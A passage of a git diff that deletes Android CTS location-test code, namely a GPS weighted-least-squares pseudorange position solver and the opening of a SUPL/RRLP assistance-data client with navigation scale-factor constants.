-  public double[] calculatePositionVelocityUncertaintyEnu(
-      RealMatrix velocityWeightMatrix, RealMatrix positionWeightMatrix,
-      double[] positionVelocitySolution){
-
-    if (geometryMatrix == null){
-      return null;
-    }
-
-    RealMatrix velocityH = calculateHMatrix(velocityWeightMatrix, geometryMatrix);
-    RealMatrix positionH = calculateHMatrix(positionWeightMatrix, geometryMatrix);
-
-    // Calculate the rotation Matrix to convert to local ENU system.
-    RealMatrix rotationMatrix = new Array2DRowRealMatrix(4, 4);
-    GeodeticLlaValues llaValues = Ecef2LlaConverter.convertECEFToLLACloseForm
-        (positionVelocitySolution[0], positionVelocitySolution[1], positionVelocitySolution[2]);
-    rotationMatrix.setSubMatrix(
-        Ecef2EnuConverter.getRotationMatrix(llaValues.longitudeRadians,
-            llaValues.latitudeRadians).getData(), 0, 0);
-    rotationMatrix.setEntry(3, 3, 1);
-
-    // Convert to local ENU by pre-multiply rotation matrix and multiply rotation matrix transposed
-    velocityH = rotationMatrix.multiply(velocityH).multiply(rotationMatrix.transpose());
-    positionH = rotationMatrix.multiply(positionH).multiply(rotationMatrix.transpose());
-
-    // Return the square root of diagonal entries
-    return new double[] {
-        Math.sqrt(positionH.getEntry(0, 0)), Math.sqrt(positionH.getEntry(1, 1)),
-        Math.sqrt(positionH.getEntry(2, 2)), Math.sqrt(velocityH.getEntry(0, 0)),
-        Math.sqrt(velocityH.getEntry(1, 1)), Math.sqrt(velocityH.getEntry(2, 2))};
-  }
-
-  /**
-   * Calculate the measurement connection matrix H as a function of weightMatrix and
-   * geometryMatrix.
-   *
-   * <p> H = (geometryMatrixTransposed * Weight * geometryMatrix) ^ -1
-   *
-   * <p> Reference: Global Positioning System: Signals, Measurements, and Performance, P207
-   * @param weightMatrix Weights for computing H Matrix
-   * @return H Matrix
-   */
-  private RealMatrix calculateHMatrix
-      (RealMatrix weightMatrix, RealMatrix geometryMatrix){
-
-    RealMatrix tempH = geometryMatrix.transpose().multiply(weightMatrix).multiply(geometryMatrix);
-    return new LUDecompositionImpl(tempH).getSolver().getInverse();
-  }
-
-  /**
-   * Applies weighted least square iterations and corrects to the position solution until correction
-   * is below threshold. An exception is thrown if the maximum number of iterations:
-   * {@value #MAXIMUM_NUMBER_OF_LEAST_SQUARE_ITERATIONS} is reached without convergence.
-   */
-  private SatellitesPositionPseudorangesResidualAndCovarianceMatrix applyWeightedLeastSquare(
-      GpsNavMessageProto navMessageProto,
-      List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToReceiverMeasurements,
-      double receiverGPSTowAtReceptionSeconds,
-      int receiverGPSWeek,
-      int dayOfYear1To366,
-      double[] positionSolutionECEF,
-      double[] deltaPositionMeters,
-      boolean doAtmosphericCorrections,
-      SatellitesPositionPseudorangesResidualAndCovarianceMatrix satPosPseudorangeResidualAndWeight,
-      RealMatrix weightMatrixMetersMinus2)
-      throws Exception {
-    RealMatrix weightedGeometryMatrix;
-    int numberOfIterations = 0;
-
-    while ((Math.abs(deltaPositionMeters[0]) + Math.abs(deltaPositionMeters[1])
-        + Math.abs(deltaPositionMeters[2])) >= LEAST_SQUARE_TOLERANCE_METERS) {
-      // Apply ionospheric and tropospheric corrections only if the applied correction to
-      // position is below a specific threshold
-      if ((Math.abs(deltaPositionMeters[0]) + Math.abs(deltaPositionMeters[1])
-          + Math.abs(deltaPositionMeters[2])) < ATMPOSPHERIC_CORRECTIONS_THRESHOLD_METERS) {
-        doAtmosphericCorrections = true;
-      }
-      // Calculate satellites' positions, measurement residual per visible satellite and weight
-      // matrix for the iterative least square
-      satPosPseudorangeResidualAndWeight = calculateSatPosAndPseudorangeResidual(navMessageProto,
-          usefulSatellitesToReceiverMeasurements, receiverGPSTowAtReceptionSeconds, receiverGPSWeek,
-          dayOfYear1To366, positionSolutionECEF, doAtmosphericCorrections);
-
-      // Calculate the geometry matrix according to "Global Positioning System: Theory and
-      // Applications", Parkinson and Spilker page 413
-      geometryMatrix = new Array2DRowRealMatrix(calculateGeometryMatrix(
-          satPosPseudorangeResidualAndWeight.satellitesPositionsMeters, positionSolutionECEF));
-      // Apply weighted least square only if the covariance matrix is
-      // not singular (has a non-zero determinant), otherwise apply ordinary least square.
-      // The reason is to ignore reported signal to noise ratios by the receiver that can
-      // lead to such singularities
-      if (weightMatrixMetersMinus2 == null) {
-        weightedGeometryMatrix = geometryMatrix;
-      } else {
-        RealMatrix hMatrix =
-            calculateHMatrix(weightMatrixMetersMinus2, geometryMatrix);
-        weightedGeometryMatrix = hMatrix.multiply(geometryMatrix.transpose())
-            .multiply(weightMatrixMetersMinus2);
-      }
-
-      // Equation 9 page 413 from "Global Positioning System: Theory and Applicaitons",
-      // Parkinson and Spilker
-      deltaPositionMeters =
-          GpsMathOperations.matrixByColVectMultiplication(
-              weightedGeometryMatrix.getData(),
-              satPosPseudorangeResidualAndWeight.pseudorangeResidualsMeters);
-
-      // Apply corrections to the position estimate
-      positionSolutionECEF[0] += deltaPositionMeters[0];
-      positionSolutionECEF[1] += deltaPositionMeters[1];
-      positionSolutionECEF[2] += deltaPositionMeters[2];
-      positionSolutionECEF[3] += deltaPositionMeters[3];
-      numberOfIterations++;
-      Preconditions.checkArgument(numberOfIterations <= MAXIMUM_NUMBER_OF_LEAST_SQUARE_ITERATIONS,
-          "Maximum number of least square iterations reached without convergance...");
-    }
-    return satPosPseudorangeResidualAndWeight;
-  }
-
-  /**
-   * Removes satellites that have residuals above {@value #RESIDUAL_TO_REPEAT_LEAST_SQUARE_METERS}
-   * from the {@code usefulSatellitesToReceiverMeasurements} list. Returns true if any satellite is
-   * removed.
-   */
-  private boolean removeHighResidualSats(
-      List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToReceiverMeasurements,
-      boolean repeatLeastSquare,
-      SatellitesPositionPseudorangesResidualAndCovarianceMatrix satPosPseudorangeResidualAndWeight,
-      int satsWithResidualBelowThreshold) {
-
-    for (int i = 0; i < satPosPseudorangeResidualAndWeight.pseudorangeResidualsMeters.length; i++) {
-      if (satsWithResidualBelowThreshold > MINIMUM_NUMER_OF_SATELLITES) {
-        if (Math.abs(satPosPseudorangeResidualAndWeight.pseudorangeResidualsMeters[i]) 
-            > RESIDUAL_TO_REPEAT_LEAST_SQUARE_METERS) {
-          int prn = satPosPseudorangeResidualAndWeight.satellitePRNs[i];
-          usefulSatellitesToReceiverMeasurements.set(prn - 1, null);
-          satsWithResidualBelowThreshold--;
-          repeatLeastSquare = true;
-        }
-      }
-    }
-    return repeatLeastSquare;
-  }
-
-  /**
-   * Calculates position of all visible satellites and pseudorange measurement residual (difference
-   * of measured to predicted pseudoranges) needed for the least square computation. The result is
-   * stored in an instance of {@link SatellitesPositionPseudorangesResidualAndCovarianceMatrix}
-   *
-   * @param navMeassageProto parameters of the navigation message
-   * @param usefulSatellitesToReceiverMeasurements Map of useful satellite PRN to
-   *        {@link GpsMeasurementWithRangeAndUncertainty} containing receiver measurements for
-   *        computing the position solution
-   * @param receiverGPSTowAtReceptionSeconds Receiver estimate of GPS time of week (seconds)
-   * @param receiverGpsWeek Receiver estimate of GPS week (0-1024+)
-   * @param dayOfYear1To366 The day of the year between 1 and 366
-   * @param userPositionECEFMeters receiver ECEF position in meters
-   * @param doAtmosphericCorrections boolean indicating if atmospheric range corrections should be
-   *        applied
-   * @return SatellitesPositionPseudorangesResidualAndCovarianceMatrix Object containing satellite
-   *         prns, satellite positions in ECEF, pseudorange residuals and covariance matrix.
-   */
-  public SatellitesPositionPseudorangesResidualAndCovarianceMatrix
-    calculateSatPosAndPseudorangeResidual(
-      GpsNavMessageProto navMeassageProto,
-      List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToReceiverMeasurements,
-      double receiverGPSTowAtReceptionSeconds,
-      int receiverGpsWeek,
-      int dayOfYear1To366,
-      double[] userPositionECEFMeters,
-      boolean doAtmosphericCorrections)
-      throws Exception {
-    int numberOfUsefulSatellites =
-        getNumberOfusefulSatellites(usefulSatellitesToReceiverMeasurements);
-    // deltaPseudorange is the pseudorange measurement residual
-    double[] deltaPseudorangesMeters = new double[numberOfUsefulSatellites];
-    double[][] satellitesPositionsECEFMeters = new double[numberOfUsefulSatellites][3];
-
-    // satellite PRNs
-    int[] satellitePRNs = new int[numberOfUsefulSatellites];
-
-    // Ionospheric model parameters
-    double[] alpha =
-        {navMeassageProto.iono.alpha[0], navMeassageProto.iono.alpha[1],
-            navMeassageProto.iono.alpha[2], navMeassageProto.iono.alpha[3]};
-    double[] beta = {navMeassageProto.iono.beta[0], navMeassageProto.iono.beta[1],
-        navMeassageProto.iono.beta[2], navMeassageProto.iono.beta[3]};
-    // Weight matrix for the weighted least square
-    RealMatrix covarianceMatrixMetersSquare =
-        new Array2DRowRealMatrix(numberOfUsefulSatellites, numberOfUsefulSatellites);
-    calculateSatPosAndResiduals(
-        navMeassageProto,
-        usefulSatellitesToReceiverMeasurements,
-        receiverGPSTowAtReceptionSeconds,
-        receiverGpsWeek,
-        dayOfYear1To366,
-        userPositionECEFMeters,
-        doAtmosphericCorrections,
-        deltaPseudorangesMeters,
-        satellitesPositionsECEFMeters,
-        satellitePRNs,
-        alpha,
-        beta,
-        covarianceMatrixMetersSquare);
-
-    return new SatellitesPositionPseudorangesResidualAndCovarianceMatrix(satellitePRNs,
-        satellitesPositionsECEFMeters, deltaPseudorangesMeters,
-        covarianceMatrixMetersSquare.getData());
-  }
-
-  /**
-   * Calculates and fill the position of all visible satellites:
-   * {@code satellitesPositionsECEFMeters}, pseudorange measurement residual (difference of measured
-   * to predicted pseudoranges): {@code deltaPseudorangesMeters} and covariance matrix from the
-   * weighted least square: {@code covarianceMatrixMetersSquare}. An array of the satellite PRNs
-   * {@code satellitePRNs} is as well filled.
-   */
-  private void calculateSatPosAndResiduals(
-      GpsNavMessageProto navMeassageProto,
-      List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToReceiverMeasurements,
-      double receiverGPSTowAtReceptionSeconds,
-      int receiverGpsWeek,
-      int dayOfYear1To366,
-      double[] userPositionECEFMeters,
-      boolean doAtmosphericCorrections,
-      double[] deltaPseudorangesMeters,
-      double[][] satellitesPositionsECEFMeters,
-      int[] satellitePRNs,
-      double[] alpha,
-      double[] beta,
-      RealMatrix covarianceMatrixMetersSquare)
-      throws Exception {
-    // user position without the clock estimate
-    double[] userPositionTempECEFMeters =
-        {userPositionECEFMeters[0], userPositionECEFMeters[1], userPositionECEFMeters[2]};
-    int satsCounter = 0;
-    for (int i = 0; i < MAX_NUMBER_OF_SATELLITES; i++) {
-      if (usefulSatellitesToReceiverMeasurements.get(i) != null) {
-        GpsEphemerisProto ephemeridesProto = getEphemerisForSatellite(navMeassageProto, i + 1);
-        // Correct the receiver time of week with the estimated receiver clock bias
-        receiverGPSTowAtReceptionSeconds =
-            receiverGPSTowAtReceptionSeconds - userPositionECEFMeters[3] / SPEED_OF_LIGHT_MPS;
-
-        double pseudorangeMeasurementMeters =
-            usefulSatellitesToReceiverMeasurements.get(i).pseudorangeMeters;
-        double pseudorangeUncertaintyMeters =
-            usefulSatellitesToReceiverMeasurements.get(i).pseudorangeUncertaintyMeters;
-
-        // Assuming uncorrelated pseudorange measurements, the covariance matrix will be diagonal as
-        // follows
-        covarianceMatrixMetersSquare.setEntry(satsCounter, satsCounter,
-            pseudorangeUncertaintyMeters * pseudorangeUncertaintyMeters);
-
-        // Calculate time of week at transmission time corrected with the satellite clock drift
-        GpsTimeOfWeekAndWeekNumber correctedTowAndWeek =
-            calculateCorrectedTransmitTowAndWeek(ephemeridesProto, receiverGPSTowAtReceptionSeconds,
-                receiverGpsWeek, pseudorangeMeasurementMeters);
-
-        // calculate satellite position and velocity
-        PositionAndVelocity satPosECEFMetersVelocityMPS = SatellitePositionCalculator
-            .calculateSatellitePositionAndVelocityFromEphemeris(ephemeridesProto,
-                correctedTowAndWeek.gpsTimeOfWeekSeconds, correctedTowAndWeek.weekNumber,
-                userPositionECEFMeters[0], userPositionECEFMeters[1], userPositionECEFMeters[2]);
-
-        satellitesPositionsECEFMeters[satsCounter][0] = satPosECEFMetersVelocityMPS.positionXMeters;
-        satellitesPositionsECEFMeters[satsCounter][1] = satPosECEFMetersVelocityMPS.positionYMeters;
-        satellitesPositionsECEFMeters[satsCounter][2] = satPosECEFMetersVelocityMPS.positionZMeters;
-
-        // Calculate ionospheric and tropospheric corrections
-        double ionosphericCorrectionMeters;
-        double troposphericCorrectionMeters;
-        if (doAtmosphericCorrections) {
-          ionosphericCorrectionMeters =
-              IonosphericModel.ionoKloboucharCorrectionSeconds(
-                      userPositionTempECEFMeters,
-                      satellitesPositionsECEFMeters[satsCounter],
-                      correctedTowAndWeek.gpsTimeOfWeekSeconds,
-                      alpha,
-                      beta,
-                      IonosphericModel.L1_FREQ_HZ)
-                  * SPEED_OF_LIGHT_MPS;
-
-          troposphericCorrectionMeters =
-              calculateTroposphericCorrectionMeters(
-                  dayOfYear1To366,
-                  satellitesPositionsECEFMeters,
-                  userPositionTempECEFMeters,
-                  satsCounter);
-        } else {
-          troposphericCorrectionMeters = 0.0;
-          ionosphericCorrectionMeters = 0.0;
-        }
-        double predictedPseudorangeMeters =
-            calculatePredictedPseudorange(userPositionECEFMeters, satellitesPositionsECEFMeters,
-                userPositionTempECEFMeters, satsCounter, ephemeridesProto, correctedTowAndWeek,
-                ionosphericCorrectionMeters, troposphericCorrectionMeters);
-
-        // Pseudorange residual (difference of measured to predicted pseudoranges)
-        deltaPseudorangesMeters[satsCounter] =
-            pseudorangeMeasurementMeters - predictedPseudorangeMeters;
-
-        // Satellite PRNs
-        satellitePRNs[satsCounter] = i + 1;
-        satsCounter++;
-      }
-    }
-  }
-
-  /** Searches ephemerides list for the ephemeris associated with current satellite in process */
-  private GpsEphemerisProto getEphemerisForSatellite(GpsNavMessageProto navMeassageProto,
-      int satPrn) {
-    List<GpsEphemerisProto> ephemeridesList
-        = new ArrayList<GpsEphemerisProto>(Arrays.asList(navMeassageProto.ephemerids));
-    GpsEphemerisProto ephemeridesProto = null;
-    int ephemerisPrn = 0;
-    for (GpsEphemerisProto ephProtoFromList : ephemeridesList) {
-      ephemerisPrn = ephProtoFromList.prn;
-      if (ephemerisPrn == satPrn) {
-        ephemeridesProto = ephProtoFromList;
-        break;
-      }
-    }
-    return ephemeridesProto;
-  }
-
-  /** Calculates predicted pseudorange in meters */
-  private double calculatePredictedPseudorange(double[] userPositionECEFMeters,
-      double[][] satellitesPositionsECEFMeters, double[] userPositionNoClockECEFMeters,
-      int satsCounter, GpsEphemerisProto ephemeridesProto,
-      GpsTimeOfWeekAndWeekNumber correctedTowAndWeek, double ionosphericCorrectionMeters,
-      double troposphericCorrectionMeters) throws Exception {
-    // Calcualte the satellite clock drift
-    double satelliteClockCorrectionMeters =
-        SatelliteClockCorrectionCalculator.calculateSatClockCorrAndEccAnomAndTkIteratively(
-            ephemeridesProto, correctedTowAndWeek.gpsTimeOfWeekSeconds,
-            correctedTowAndWeek.weekNumber).satelliteClockCorrectionMeters;
-
-    double satelliteToUserDistanceMeters =
-        GpsMathOperations.vectorNorm(GpsMathOperations.subtractTwoVectors(
-            satellitesPositionsECEFMeters[satsCounter], userPositionNoClockECEFMeters));
-
-    // Predicted pseudorange
-    double predictedPseudorangeMeters =
-        satelliteToUserDistanceMeters - satelliteClockCorrectionMeters + ionosphericCorrectionMeters
-            + troposphericCorrectionMeters + userPositionECEFMeters[3];
-    return predictedPseudorangeMeters;
-  }
-
-  /** Calculates the Gps troposheric correction in meters */
-  private double calculateTroposphericCorrectionMeters(int dayOfYear1To366,
-      double[][] satellitesPositionsECEFMeters, double[] userPositionTempECEFMeters,
-      int satsCounter) {
-    double troposphericCorrectionMeters;
-    TopocentricAEDValues elevationAzimuthDist =
-        EcefToTopocentricConverter.convertCartesianToTopocentericRadMeters(
-            userPositionTempECEFMeters, GpsMathOperations.subtractTwoVectors(
-                satellitesPositionsECEFMeters[satsCounter], userPositionTempECEFMeters));
-
-    GeodeticLlaValues lla =
-        Ecef2LlaConverter.convertECEFToLLACloseForm(userPositionTempECEFMeters[0],
-            userPositionTempECEFMeters[1], userPositionTempECEFMeters[2]);
-
-    double elevationMetersAboveSeaLevel = 0.0;
-    if (calculateGeoidMeters) {
-      geoidHeightMeters = lla.altitudeMeters;
-      troposphericCorrectionMeters = TroposphericModelEgnos.calculateTropoCorrectionMeters(
-          elevationAzimuthDist.elevationRadians, lla.latitudeRadians, elevationMetersAboveSeaLevel,
-          dayOfYear1To366);
-    } else {
-      troposphericCorrectionMeters = TroposphericModelEgnos.calculateTropoCorrectionMeters(
-          elevationAzimuthDist.elevationRadians, lla.latitudeRadians,
-          lla.altitudeMeters - geoidHeightMeters, dayOfYear1To366);
-    }
-    return troposphericCorrectionMeters;
-  }
-
-  /**
-   * Gets the number of useful satellites from a list of
-   * {@link GpsMeasurementWithRangeAndUncertainty}.
-   */
-  private int getNumberOfusefulSatellites(
-      List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToReceiverMeasurements) {
-    // calculate the number of useful satellites
-    int numberOfUsefulSatellites = 0;
-    for (int i = 0; i < usefulSatellitesToReceiverMeasurements.size(); i++) {
-      if (usefulSatellitesToReceiverMeasurements.get(i) != null) {
-        numberOfUsefulSatellites++;
-      }
-    }
-    return numberOfUsefulSatellites;
-  }
-
-  /**
-   * Computes the GPS time of week at the time of transmission and as well the corrected GPS week
-   * taking into consideration week rollover. The returned GPS time of week is corrected by the
-   * computed satellite clock drift. The result is stored in an instance of
-   * {@link GpsTimeOfWeekAndWeekNumber}
-   *
-   * @param ephemerisProto parameters of the navigation message
-   * @param receiverGpsTowAtReceptionSeconds Receiver estimate of GPS time of week when signal was
-   *        received (seconds)
-   * @param receiverGpsWeek Receiver estimate of GPS week (0-1024+)
-   * @param pseudorangeMeters Measured pseudorange in meters
-   * @return GpsTimeOfWeekAndWeekNumber Object containing Gps time of week and week number.
-   */
-  private static GpsTimeOfWeekAndWeekNumber calculateCorrectedTransmitTowAndWeek(
-      GpsEphemerisProto ephemerisProto, double receiverGpsTowAtReceptionSeconds,
-      int receiverGpsWeek, double pseudorangeMeters) throws Exception {
-    // GPS time of week at time of transmission: Gps time corrected for transit time (page 98 ICD
-    // GPS 200)
-    double receiverGpsTowAtTimeOfTransmission =
-        receiverGpsTowAtReceptionSeconds - pseudorangeMeters / SPEED_OF_LIGHT_MPS;
-
-    // Adjust for week rollover
-    if (receiverGpsTowAtTimeOfTransmission < 0) {
-      receiverGpsTowAtTimeOfTransmission += SECONDS_IN_WEEK;
-      receiverGpsWeek -= 1;
-    } else if (receiverGpsTowAtTimeOfTransmission > SECONDS_IN_WEEK) {
-      receiverGpsTowAtTimeOfTransmission -= SECONDS_IN_WEEK;
-      receiverGpsWeek += 1;
-    }
-
-    // Compute the satellite clock correction term (Seconds)
-    double clockCorrectionSeconds =
-        SatelliteClockCorrectionCalculator.calculateSatClockCorrAndEccAnomAndTkIteratively(
-            ephemerisProto, receiverGpsTowAtTimeOfTransmission,
-            receiverGpsWeek).satelliteClockCorrectionMeters / SPEED_OF_LIGHT_MPS;
-
-    // Correct with the satellite clock correction term
-    double receiverGpsTowAtTimeOfTransmissionCorrectedSec =
-        receiverGpsTowAtTimeOfTransmission + clockCorrectionSeconds;
-
-    // Adjust for week rollover due to satellite clock correction
-    if (receiverGpsTowAtTimeOfTransmissionCorrectedSec < 0.0) {
-      receiverGpsTowAtTimeOfTransmissionCorrectedSec += SECONDS_IN_WEEK;
-      receiverGpsWeek -= 1;
-    }
-    if (receiverGpsTowAtTimeOfTransmissionCorrectedSec > SECONDS_IN_WEEK) {
-      receiverGpsTowAtTimeOfTransmissionCorrectedSec -= SECONDS_IN_WEEK;
-      receiverGpsWeek += 1;
-    }
-    return new GpsTimeOfWeekAndWeekNumber(receiverGpsTowAtTimeOfTransmissionCorrectedSec,
-        receiverGpsWeek);
-  }
-
-  /**
-   * Calculates the Geometry matrix (describing user to satellite geometry) given a list of
-   * satellite positions in ECEF coordinates in meters and the user position in ECEF in meters.
-   *
-   * <p>The geometry matrix has four columns, and rows equal to the number of satellites. For each
-   * of the rows (i.e. for each of the satellites used), the columns are filled with the normalized
-   * line–of-sight vectors and 1 s for the fourth column.
-   *
-   * <p>Source: Parkinson, B.W., Spilker Jr., J.J.: ‘Global positioning system: theory and
-   * applications’ page 413
-   */
-  private static double[][] calculateGeometryMatrix(double[][] satellitePositionsECEFMeters,
-      double[] userPositionECEFMeters) {
-
-    double[][] geometeryMatrix = new double[satellitePositionsECEFMeters.length][4];
-    for (int i = 0; i < satellitePositionsECEFMeters.length; i++) {
-      geometeryMatrix[i][3] = 1;
-    }
-    // iterate over all satellites
-    for (int i = 0; i < satellitePositionsECEFMeters.length; i++) {
-      double[] r = {satellitePositionsECEFMeters[i][0] - userPositionECEFMeters[0],
-          satellitePositionsECEFMeters[i][1] - userPositionECEFMeters[1],
-          satellitePositionsECEFMeters[i][2] - userPositionECEFMeters[2]};
-      double norm = Math.sqrt(Math.pow(r[0], 2) + Math.pow(r[1], 2) + Math.pow(r[2], 2));
-      for (int j = 0; j < 3; j++) {
-        geometeryMatrix[i][j] =
-            (userPositionECEFMeters[j] - satellitePositionsECEFMeters[i][j]) / norm;
-      }
-    }
-    return geometeryMatrix;
-  }
-
-  /**
-   * Class containing satellites' PRNs, satellites' positions in ECEF meters, the peseudorange
-   * residual per visible satellite in meters and the covariance matrix of the pseudoranges in
-   * meters square
-   */
-  private static class SatellitesPositionPseudorangesResidualAndCovarianceMatrix {
-
-    /** Satellites' PRNs */
-    private final int[] satellitePRNs;
-
-    /** ECEF positions (meters) of useful satellites */
-    private final double[][] satellitesPositionsMeters;
-
-    /** Pseudorange measurement residuals (difference of measured to predicted pseudoranges) */
-    private final double[] pseudorangeResidualsMeters;
-
-    /** Pseudorange covariance Matrix for the weighted least squares (meters square) */
-    private final double[][] covarianceMatrixMetersSquare;
-
-    /** Constructor */
-    private SatellitesPositionPseudorangesResidualAndCovarianceMatrix(int[] satellitePRNs,
-        double[][] satellitesPositionsMeters, double[] pseudorangeResidualsMeters,
-        double[][] covarianceMatrixMetersSquare) {
-      this.satellitePRNs = satellitePRNs;
-      this.satellitesPositionsMeters = satellitesPositionsMeters;
-      this.pseudorangeResidualsMeters = pseudorangeResidualsMeters;
-      this.covarianceMatrixMetersSquare = covarianceMatrixMetersSquare;
-    }
-
-  }
-
-  /**
-   * Class containing GPS time of week in seconds and GPS week number
-   */
-  private static class GpsTimeOfWeekAndWeekNumber {
-    /** GPS time of week in seconds */
-    private final double gpsTimeOfWeekSeconds;
-
-    /** GPS week number */
-    private final int weekNumber;
-
-    /** Constructor */
-    private GpsTimeOfWeekAndWeekNumber(double gpsTimeOfWeekSeconds, int weekNumber) {
-      this.gpsTimeOfWeekSeconds = gpsTimeOfWeekSeconds;
-      this.weekNumber = weekNumber;
-    }
-  }
-
-  /**
-   * Uses the common reception time approach to calculate pseudoranges from the time of week
-   * measurements reported by the receiver according to http://cdn.intechopen.com/pdfs-wm/27712.pdf.
-   * As well computes the pseudoranges uncertainties for each input satellite
-   */
-  static List<GpsMeasurementWithRangeAndUncertainty> computePseudorangeAndUncertainties(
-      List<GpsMeasurement> usefulSatellitesToReceiverMeasurements,
-      Long[] usefulSatellitesToTOWNs,
-      long largestTowNs) {
-
-    List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToPseudorangeMeasurements =
-        Arrays.asList(
-            new GpsMeasurementWithRangeAndUncertainty[MAX_NUMBER_OF_SATELLITES]);
-    for (int i = 0; i < MAX_NUMBER_OF_SATELLITES; i++) {
-      if (usefulSatellitesToTOWNs[i] != null) {
-        double deltai = largestTowNs - usefulSatellitesToTOWNs[i];
-        double pseudorangeMeters =
-            (AVERAGE_TRAVEL_TIME_SECONDS + deltai * SECONDS_PER_NANO) * SPEED_OF_LIGHT_MPS;
-
-        double signalToNoiseRatioLinear =
-            Math.pow(10, usefulSatellitesToReceiverMeasurements.get(i).signalToNoiseRatioDb / 10.0);
-        // From Global Positoning System book, Misra and Enge, page 416, the uncertainty of the
-        // pseudorange measurement is calculated next.
-        // For GPS C/A code chip width Tc = 1 microseconds. Narrow correlator with spacing d = 0.1
-        // chip and an average time of DLL correlator T of 20 milliseconds are used.
-        double sigmaMeters =
-            SPEED_OF_LIGHT_MPS
-                * GPS_CHIP_WIDTH_T_C_SEC
-                * Math.sqrt(
-                    GPS_CORRELATOR_SPACING_IN_CHIPS
-                        / (4 * GPS_DLL_AVERAGING_TIME_SEC * signalToNoiseRatioLinear));
-        usefulSatellitesToPseudorangeMeasurements.set(
-            i,
-            new GpsMeasurementWithRangeAndUncertainty(
-                usefulSatellitesToReceiverMeasurements.get(i), pseudorangeMeters, sigmaMeters));
-      }
-    }
-    return usefulSatellitesToPseudorangeMeasurements;
-  }
-
-}
diff --git a/tests/tests/location/src/android/location/cts/suplClient/SuplRrlpController.java b/tests/tests/location/src/android/location/cts/suplClient/SuplRrlpController.java
deleted file mode 100644
index e236668..0000000
--- a/tests/tests/location/src/android/location/cts/suplClient/SuplRrlpController.java
+++ /dev/null
@@ -1,258 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.suplClient;
-
-import android.location.cts.asn1.supl2.rrlp_components.IonosphericModel;
-import android.location.cts.asn1.supl2.rrlp_components.NavModelElement;
-import android.location.cts.asn1.supl2.rrlp_components.NavigationModel;
-import android.location.cts.asn1.supl2.rrlp_components.SatStatus;
-import android.location.cts.asn1.supl2.rrlp_components.UncompressedEphemeris;
-import android.location.cts.asn1.supl2.rrlp_messages.PDU;
-import android.location.cts.asn1.supl2.supl_pos.PosPayLoad;
-import android.location.cts.asn1.supl2.ulp.ULP_PDU;
-import android.location.cts.asn1.supl2.ulp.UlpMessage;
-import android.location.cts.asn1.supl2.ulp_components.SessionID;
-import android.location.cts.nano.Ephemeris.GpsEphemerisProto;
-import android.location.cts.nano.Ephemeris.GpsNavMessageProto;
-import android.location.cts.nano.Ephemeris.IonosphericModelProto;
-import java.io.IOException;
-import java.net.UnknownHostException;
-import java.util.ArrayList;
-import java.util.concurrent.TimeUnit;
-
-/**
- * A class that applies the SUPL protocol call flow to obtain GPS assistance data over a TCP
- * connection.
- *
- * <p>A rough location of the receiver has to be known in advance which is passed to the method
- * #generateNavMessage to obtain a GpsNavMessageProto containing the GPS assistance
- * data.
- *
- * <p>The SUPL protocol flaw is made over a TCP socket to a server specified by SUPL_SERVER_NAME 
- * at port SUPL_SERVER_PORT.
- */
-public class SuplRrlpController {
-  // Details of the following constants can be found in hte IS-GPS-200F which can be found at:
-  // http://www.navcen.uscg.gov/pdf/is-gps-200f.pdf
-  private static final double NAVIGATION_TGD_SCALE_FACTOR = Math.pow(2, -31);
-  private static final double NAVIGATION_TOC_SCALE_FACTOR = Math.pow(2, 4);
-  private static final double NAVIGATION_AF2_SCALE_FACTOR = Math.pow(2, -55);
-  private static final double NAVIGATION_AF1_SCALE_FACTOR = Math.pow(2, -43);
-  private static final double NAVIGATION_AF0_SCALE_FACTOR = Math.pow(2, -31);
-  private static final double NAVIGATION_CRS_SCALE_FACTOR = Math.pow(2, -5);
-  private static final double NAVIGATION_DELTA_N_SCALE_FACTOR = Math.pow(2, -43) * Math.PI;
-  private static final double NAVIGATION_M0_SCALE_FACTOR = Math.pow(2, -31) * Math.PI;
-  private static final double NAVIGATION_CUC_SCALE_FACTOR = Math.pow(2, -29);
-  private static final double NAVIGATION_E_SCALE_FACTOR = Math.pow(2, -33);
-  private static final double NAVIGATION_CUS_SCALE_FACTOR = Math.pow(2, -29);
-  private static final double NAVIGATION_A_POWER_HALF_SCALE_FACTOR = Math.pow(2, -19);
-  private static final double NAVIGATION_TOE_SCALE_FACTOR = Math.pow(2, 4);
-  private static final double NAVIGATION_CIC_SCALE_FACTOR = Math.pow(2, -29);
-  private static final double NAVIGATION_OMEGA0_SCALE_FACTOR = Math.pow(2, -31) * Math.PI;
-  private static final double NAVIGATION_CIS_SCALE_FACTOR = Math.pow(2, -29);
-  private static final double NAVIGATION_I0_SCALE_FACTOR = Math.pow(2, -31) * Math.PI;
-  private static final double NAVIGATION_CRC_SCALE_FACTOR = Math.pow(2, -5);
-  private static final double NAVIGATION_W_SCALE_FACTOR = Math.pow(2, -31) * Math.PI;
-  private static final double NAVIGATION_OMEGA_A_DOT_SCALE_FACTOR = Math.pow(2, -43) * Math.PI;
-  private static final double NAVIGATION_I_DOT_SCALE_FACTOR = Math.pow(2, -43) * Math.PI;
-  private static final double IONOSPHERIC_ALFA_0_SCALE_FACTOR = Math.pow(2, -30);
-  private static final double IONOSPHERIC_ALFA_1_SCALE_FACTOR = Math.pow(2, -27);
-  private static final double IONOSPHERIC_ALFA_2_SCALE_FACTOR = Math.pow(2, -24);
-  private static final double IONOSPHERIC_ALFA_3_SCALE_FACTOR = Math.pow(2, -24);
-  private static final double IONOSPHERIC_BETA_0_SCALE_FACTOR = Math.pow(2, 11);
-  private static final double IONOSPHERIC_BETA_1_SCALE_FACTOR = Math.pow(2, 14);
-  private static final double IONOSPHERIC_BETA_2_SCALE_FACTOR = Math.pow(2, 16);
-  private static final double IONOSPHERIC_BETA_3_SCALE_FACTOR = Math.pow(2, 16);
-
-  // 3657 is the number of days between the unix epoch and GPS epoch as the GPS epoch started on
